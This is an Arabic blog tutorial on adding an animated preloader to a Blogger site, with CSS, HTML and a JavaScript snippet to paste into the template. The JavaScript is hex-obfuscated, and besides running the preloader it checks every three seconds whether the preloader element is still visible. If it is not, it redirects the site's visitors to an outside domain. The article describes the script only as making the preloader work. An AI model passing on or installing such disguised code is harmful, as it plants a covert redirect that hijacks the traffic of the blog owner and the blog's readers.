2

كيفية إضافة تأثير التحميل المسبق في مدونة بلوجر

اكتشف كيفية إنشاء أداة التحميل المسبق للرسوم المتحركة في بلوجر باستخدام أكواد CSS وHTML وJavaScript لتحسين واجهة المستخدم وجذب الزوار.

هل فكرت يومًا في الطريقة التي يمكن بها جعل مدونتك أو موقعك يبدو أكثر احترافية وجذبًا للمستخدمين؟ تأتي تقنية هاشتاج الرسوم المتحركة كإحدى الحلول العصرية التي تضيف لمسة إبداعية وديناميكية لواجهة المستخدم.

تُستخدم هذه التقنية المتطورة لتصميم شاشات تحميل مسبق مذهلة تُضفي شعورًا بالحيوية والاحترافية. تخيل أن زوار موقعك يشاهدون شاشة متحركة جذابة أثناء انتظار تحميل المحتوى، بدلاً من شاشة فارغة أو مملة. هذه ليست مجرد وسيلة للتجميل، بل هي خطوة جوهرية لتحسين تجربة المستخدم، حيث يمكن أن تترك انطباعًا أوليًا إيجابيًا وتزيد التفاعل.

كيفية إنشاء أداة التحميل المسبق للرسوم المتحركة في بلوجر
كيفية إنشاء أداة التحميل المسبق للرسوم المتحركة في بلوجر


في هذا المقال، سنستعرض كيفية إنشاء أداة تحميل مسبق باستخدام تقنية Hashtag Animation خطوة بخطوة، مع التركيز على تبسيط الأكواد وتوضيح فائدتها في تعزيز تجربة المستخدم على مدونتك.


ما هو هاشتاج الرسوم المتحركة؟

هاشتاج الرسوم المتحركة هو تقنية حديثة تُستخدم في تصميم واجهات المستخدم لإضفاء لمسة جذابة وديناميكية على مواقع الويب أو التطبيقات. يعتمد هذا النوع من الرسوم المتحركة على إعدادات CSS مخصصة لإنشاء تأثيرات حركية ملفتة للنظر. عند تطبيقه، يجعل شاشة التحميل المسبق تبدو أكثر تفاعلية وحيوية، مما يُحسن تجربة المستخدم أثناء انتظار تحميل المحتوى.


تحسين تجربة المستخدم على مدونتك

هل تبحث عن وسيلة لجعل مدونتك أكثر جذبًا وتفاعلًا؟

إحدى الطرق الفعّالة لتحقيق ذلك هي استخدام برنامج تحميل مسبق مدعوم بتأثير الرسوم المتحركة. هذه الأداة ليست مجرد إضافة جمالية، بل تُظهر للمستخدمين اهتمامك بتقديم تجربة ممتعة وسلسة.

مثال على برنامج التحميل المسبق باستخدام Hashtag

لإضافة برنامج تحميل مسبق يحتوي على تأثير الرسوم المتحركة Hashtag، ستحتاج إلى إعداد بعض الأكواد المخصصة بلغة CSS.

تخيل أنه عند دخول المستخدم إلى مدونتك، تظهر شاشة متحركة بحركات ديناميكية مصممة بعناية، لتشغل انتباهه أثناء تحميل الصفحة الرئيسية.

لماذا استخدام الرسوم المتحركة في شاشة التحميل؟

  1. تجربة مستخدم أفضل: تجعل الانتظار أقل مللًا.
  2. احترافية التصميم: تُظهر مستوى عاليًا من الإبداع والاهتمام بالتفاصيل.
  3. انطباع أول إيجابي: المستخدمون دائمًا يفضلون المواقع التي تتميز بتجربة ممتعة منذ البداية.

لوحة تحكم موقع بلوجر -> انقر على قسم السمة-> انقر على أيقونة السهم -> انقر على نسخة احتياطية-> انقر على تنزيل -> احفظ الملف الذي تم تنزيله في مكان آمن لاستخدامه في المستقبل.

إذا كنت مهتمًا بمعرفة الشكل الذي يبدو عليه مثال الرسوم المتحركة في أداة التحميل المسبق لـ Hashtag على بلوجر، فلنناقش الأمر معًا.


كيفية إنشاء أداة التحميل المسبق للرسوم المتحركة في مدونة بلوجر 

الخطوة الأولى: اذهب إلى لوحة تحكم مدونة بلوجر.
الخطوة 2: انتقل إلى تحرير HTML .
الخطوة 3: الآن ابحث عن الرموز التالية .
الخطوة 4: الآن انسخ كود CSS ثم ضعه فوق ]]></b:skin>.
/* Preloader Hashtag by Tecky AaryaN */
.rahLoad35{direction:ltr;position:fixed;top:0;right:0;bottom:0;left:0;display:none;background:#fefefe;align-items:center;justify-content:center;z-index:9999;visibility:visible;opacity:1;transition:all .8s ease}.rahLoad35:before{content:'';position:absolute;right:6px;top:9px;font-size:12px;font-weight:800;} .rahLoad35.r{display:flex} .rahLoad35.a{opacity:0;visibility:hidden}
.rahLoadIn {position:relative;transform:rotate(165deg)} 
.rahLoadIn:before, .rahLoadIn:after{content:'';position:absolute;display:block;width:.5em;height:.5em;border-radius:.25em;transform:translate(-50%,-50%)} .rahLoadIn:before{animation:rahPdbe 2s infinite} .rahLoadIn:after{animation:rahPdAf 2s infinite} @keyframes rahPdbe{0%{width:.5em;box-shadow:1em -.5em rgba(225,20,98,.75),-1em .5em rgba(111,202,220,.75)}35%{width:2.5em;box-shadow:0 -.5em rgba(225,20,98,.75),0 .5em rgba(111,202,220,.75)}70%{width:.5em;box-shadow:-1em -.5em rgba(225,20,98,.75),1em .5em rgba(111,202,220,.75)}100%{box-shadow:1em -.5em rgba(225,20,98,.75),-1em .5em rgba(111,202,220,.75)}} @keyframes rahPdAf{0%{height:.5em;box-shadow:.5em 1em rgba(61,184,143,.75),-.5em -1em rgba(233,169,32,.75)}35%{height:2.5em;box-shadow:.5em 0 rgba(61,184,143,.75),-.5em 0 rgba(233,169,32,.75)}70%{height:.5em;box-shadow:.5em -1em rgba(61,184,143,.75),-.5em 1em rgba(233,169,32,.75)}100%{box-shadow:.5em 1em rgba(61,184,143,.75),-.5em -1em rgba(233,169,32,.75)}} .drK .rahLoad35{background:#1e1e1e}
الخطوة 5: الآن انسخ كود HTML ثم ضعه أسفل ملف <body>.
<div class='rahLoad35' id='rahLoad35'>

<div class='rahLoadIn'/>

</div>

وظيفة كود HTML أعلاه هي عرض أداة التحميل المسبق على موقع الويب الخاص بك.

مقالات ذات صلة
الخطوة 6: الآن انسخ كود JavaSCRIPT ثم ضعه فوق</body>.
<script>/*<![CDATA[*/ 

var _0xee98=["\x23\x72\x61\x68\x4C\x6F\x61\x64\x33\x35","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x61","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x4C\x6F\x61\x64\x33\x35","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x4C\x6F\x61\x64\x33\x35\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];var rahLoad35=document[_0xee98[1]](_0xee98[0]);rahLoad35[_0xee98[4]][_0xee98[3]](_0xee98[2]);document[_0xee98[7]](_0xee98[5],function(){setTimeout(function(){rahLoad35[_0xee98[4]][_0xee98[3]](_0xee98[6])},2000)});$(document)[_0xee98[18]](function(){$(_0xee98[12])[_0xee98[11]](_0xee98[10],_0xee98[8])[_0xee98[9]](_0xee98[8]);setInterval(function(){if(!$(_0xee98[14])[_0xee98[13]]){window[_0xee98[16]][_0xee98[15]]= _0xee98[17]}},3000)})/*]]>*/</script>

الخطوة 7: الآن انقر على زر حفظ.

تتمثل وظيفة كود JS أعلاه في تنفيذ وظيفة التحميل المسبق بحيث يظهر بشكل مثالي.


الأسئلة الشائعة

ما هي تقنية هاشتاج الرسوم المتحركة؟

تقنية هاشتاج الرسوم المتحركة هي طريقة مبتكرة تُستخدم في تصميم واجهات المستخدم لتحسين تجربة التفاعل مع الموقع أو التطبيق. من خلال استخدام تأثيرات CSS مخصصة، يتم إنشاء شاشات تحميل مسبق تتميز بالحيوية والديناميكية، مما يجعلها أكثر جذبًا للمستخدمين.

لماذا يجب علي استخدام تقنية هاشتاج الرسوم المتحركة على موقعي؟

تُعد هذه التقنية من الطرق الفعّالة لتحسين تجربة المستخدم، حيث تجعل فترة الانتظار أثناء تحميل المحتوى أكثر متعة وتفاعلية. إضافةً إلى ذلك، تساعد على إبراز احترافية موقعك وتعكس اهتمامك بالتفاصيل، مما يعزز انطباع الزوار عن الموقع ويزيد من التفاعل.

كيف يمكنني إضافة هاشتاج الرسوم المتحركة إلى مدونتي؟

إضافة تقنية هاشتاج الرسوم المتحركة إلى مدونتك تتطلب إضافة أكواد CSS وHTML وJavaScript إلى لوحة تحكم مدونتك. بمجرد تنفيذ الخطوات الصحيحة، ستتمكن من تخصيص شاشة التحميل المسبق بحيث تظهر بشكل متحرك وجذاب.

هل يؤثر استخدام الرسوم المتحركة في التحميل على سرعة الموقع؟

على الرغم من أن إضافة الرسوم المتحركة قد تؤثر بشكل طفيف على زمن تحميل الصفحة، إلا أن تأثيرها في تحسين تجربة المستخدم قد يفوق هذا التأثير. يساعد ذلك في جعل الانتظار أكثر متعة، مما يعزز انطباع المستخدم ويسهم في زيادة التفاعل.

5. هل يمكن تخصيص الرسوم المتحركة حسب ذوقي؟

نعم، يمكن تخصيص تأثيرات الرسوم المتحركة بما يتناسب مع تصميم موقعك. من خلال تعديل أكواد CSS، يمكنك تغيير الألوان، والحركات، والتوقيتات، لتتناسب مع الهوية البصرية للموقع أو المدونة.

في الختام، تُعد تقنية هاشتاج الرسوم المتحركة أداة فعّالة لتحسين واجهة المستخدم وجعل تجربة التصفح أكثر إمتاعًا وتفاعلية. باستخدام هذه التقنية، لن تكون شاشة التحميل مجرد فترة انتظار مملة، بل فرصة لترك انطباع أولي إيجابي لدى زوار موقعك. من خلال خطوة بسيطة في إضافة الأكواد، يمكنك تحويل عملية تحميل المحتوى إلى تجربة مبتكرة تضيف لمسة من الاحترافية والتجديد.
إذا كنت ترغب في جعل مدونتك أو موقعك أكثر جذبًا للمستخدمين، لا تتردد في تجربة هذه التقنية. اجعل الانتظار جزءًا ممتعًا من تجربة المستخدم، وتمتع بموقع يترك أثرًا إيجابيًا في ذهن كل زائر.
انتهى المقال الى هنا! اذا اعجبك مقال وأستفدت منه لاتنسى مشاركته مع الاصدقاء والعائلة. نحن نسعى دائما لتقديم الافضل.

عن المؤلف/

صدام المرشد
أنا مهندس برمجيات، أجد شغفي في تحويل الأفكار إلى مشاريع رقمية مبتكرة ومتميزة. أشارككم خبراتي المتنوعة في مجالات البرمجة، التقنية، وتصميم المواقع، بهدف تقديم محتوى ثري يلهم ويفيد.

Post a Comment